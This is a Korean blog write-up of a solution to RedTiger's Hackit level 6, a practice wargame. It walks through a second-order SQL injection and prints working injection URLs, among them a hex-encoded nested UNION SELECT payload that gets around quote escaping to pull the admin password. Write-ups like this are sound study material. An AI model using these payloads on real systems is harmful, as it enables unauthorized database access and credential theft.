문제를 보면 level6_users 테이블에서 status가 1인 첫번째 user를 획득하라고 되어있다.
Click Me를 클릭 시 ?user=1이라는 파라미터가 생성된다.
숫자를 1씩 증가시킨 결과 user는 4까지 존재한다. (5에서 에러 발생)
우리의 목표는 status가 1인 첫번째 user를 찾는 것이므로 존재하지 않는 user=5 뒤에 조건을 걸어준다.
user=5+or+status=1+limit+1
그 결과 admin이 출력된다. 따라서 우리는 admin의 password를 찾는 것을 목표로 문제를 풀면 된다.
blind sql injection을 시도하기 위해 substr, mid, left, right, like를 시도해봤지만 모두 막혀있었다.
대신 username과 email이 출력되는 것으로 보아 union select 를 이용하는 것일까 싶어 컬럼 수를 확인하기 위해 order by 문장을 썼다.
1. ?user=0+order+by+6 에서 에러가 발생하는 것으로 보아 컬럼수는 5개이다.
2. ?user=0+union+select+1,2,3,4,5를 할 경우 User를 발견할 수 없다고 한다. 혹시 숫자로 username을 가져오고 그 username을 토대로 정보를 가져올 수 있어 모든 컬럼에 username을 썼다.
3. [ ?user=0+union+select+username,username,username,username,username+from+level6_users+where+status=1 ] → 그 결과 잘 작동하는 것을 확인하였고 하나씩 빼며 확인한 결과 2번째 컬럼에 username이 들어가야 잘 작동하였다.
4. ?user[]=... 같이 배열로 요청을 하니 에러메시지 내에 mysql_real_escape_string()가 발견되었다. 따라서 싱글쿼터를 사용할 수 없다. 이를 우회하기 위해 hex값을 집어넣어보았다.
5. admin의 hex값을 넣은 [ ?user=0+union+select+1,0x61646d696e,1,1,1+from+level6_users+where+status=1 ]
가 잘 작동함을 보았다. 이 곳에 admin'#을 넣어도 잘 작동하였다.
전체적인 흐름은 이렇다 !
먼저 user 파라미터에 들어간 int형 값을 통해 DB에서 username을 뽑아낸다. 그리고 그 username으로 다시 DB로 요청을 보내 해당 user의 정보들을 받아 출력시키는 방식이다.
따라서 우리는 sql injection 안에 sql injection을 해야하는 것이다. user 파라미터에 injection을 하여 2번째 요청을 조작하는 것이다.
( union select 1,(union select ...),3,4,5 처럼 union select가 중첩되어있는 형태 )
이를 확인하기 위해 username 부분에 ' union select 1,2,3,4,5#을 hex로 인코딩하여 인젝션해보았다.
그 결과 이와같이 2번째와 4번째 컬럼의 값이 출력됨을 확인하였다.
이제 해당 컬럼에 username과 password를 출력하게만 해주면 끝~
' union select 1,username,3,password,5 from level6_users where status=1#
를 hex로 인코딩한 3f2720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d31233f3f를 삽입해주면 결과가 뜬다!
쿼리는 아래와 같다.
?user=0+union+select+1,0x3f2720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d31233f3f,1,1,1+from+level6_users+where+status=1
결과로 출력된 패스워드를 입력하면 클리어~
'Solve Problem' 카테고리의 다른 글
[RedTiger's Hackit] 8번 문제 (0) | 2018.01.29 |
---|---|
[RedTiger's Hackit] 7번 문제 (0) | 2018.01.29 |
[RedTiger's Hackit] 5번 문제 (0) | 2018.01.29 |
[RedTiger's Hackit] 4번 문제 (0) | 2018.01.28 |
[RedTiger's Hackit] 3번 문제 (0) | 2018.01.28 |